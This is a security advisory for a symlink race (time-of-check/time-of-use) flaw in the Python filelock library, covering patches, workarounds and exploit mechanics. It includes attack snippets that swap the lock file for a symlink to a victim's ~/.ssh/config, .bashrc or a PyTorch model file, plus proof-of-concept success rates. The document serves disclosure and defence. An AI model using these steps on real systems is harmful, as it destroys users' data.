Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Patches

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added ONOFOLLOW flag to os.open() in UnixFileLock.\acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/unix.py:39-44):

python def acquire(self) -> None: ensuredirectoryexists(self.lockfile) openflags = os.ORDWR | os.OTRUNC # (1) Prepare to truncate if not Path(self.lockfile).exists(): # (2) CHECK: Does file exist? openflags |= os.OCREAT fd = os.open(self.lockfile, openflags, ...) # (3) USE: Open and truncate

Windows (src/filelock/windows.py:19-28):

python def acquire(self) -> None: raiseonnotwritablefile(self.lockfile) # (1) Check writability ensuredirectoryexists(self.lockfile) flags = os.ORDWR | os.OCREAT | os.OTRUNC # (2) Prepare to truncate fd = os.open(self.lockfile, flags, ...) # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lockfile exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victimfile T3 Open lockfile with OTRUNC → Follows symlink → Opens victimfile → Truncates victimfile to 0 bytes! ☠️

Windows variant:

Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lockfile writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victimfile T3 Open lockfile with OTRUNC → Follows symlink/junction → Opens victimfile → Truncates victimfile to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

python Attacker identifies target application using filelock lockpath = "/tmp/myapp.lock" # Predictable lock path victimfile = "/home/victim/.ssh/config" # High-value target

2. Attacker Creates Race Condition:

python import os import threading

def attackerthread(): # Remove any existing lock file try: os.unlink(lockpath) except FileNotFoundError: pass

# Create symlink pointing to victim file os.symlink(victimfile, lockpath) print(f"[Attacker] Created: {lockpath} → {victimfile}")

Launch attack threading.Thread(target=attackerthread).start()

3. Victim Application Runs:

python from filelock import UnixFileLock

Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

c // Linux kernel behavior (simplified) int open(const char pathname, int flags) { struct file f = pathlookup(pathname); // Resolves symlinks by default!

if (flags & OTRUNC) { truncatefile(f); // ← Truncates the TARGET of the symlink }

return filedescriptor; }

Without ONOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

- Check operation (Path.exists()): ~100-500 nanoseconds - Symlink creation (os.symlink()): ~1-10 microseconds - Race window: ~1-5 microseconds (very small but exploitable) - Thread scheduling quantum: ~1-10 milliseconds

Success factors:

1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts 2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations 3. No synchronization: No atomic file creation prevents the race 4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

python Victim runs: python -m venv /tmp/myenv Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

Result: /home/victim/.bashrc overwritten with: home = /usr/bin/python3 include-system-site-packages = false version = 3.11.2 ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

python Victim runs: import torch PyTorch checks CPU capabilities, uses filelock on cache Attacker racing to create: os.symlink("/home/victim/.torch/compiledmodel.pt", "/home/victim/.cache/torch/cpuisacheck.lock")

Result: Trained ML model checkpoint truncated to 0 bytes Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

- Attacker doesn't need write access to victimfile - os.open() with OTRUNC follows symlinks using the victim's permissions - The victim process truncates its own file

Directory permissions help but aren't always feasible:

- Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories

File locking doesn't prevent this:

- The truncation happens during the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelocksimplepoc.py):

- Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms

virtualenv Attack (weaponizedvirtualenv.py):

- Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents

PyTorch Attack (weaponizedpytorch.py):

- Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining

Discovered and reported by: George Tsigourakos (@tsigouris007)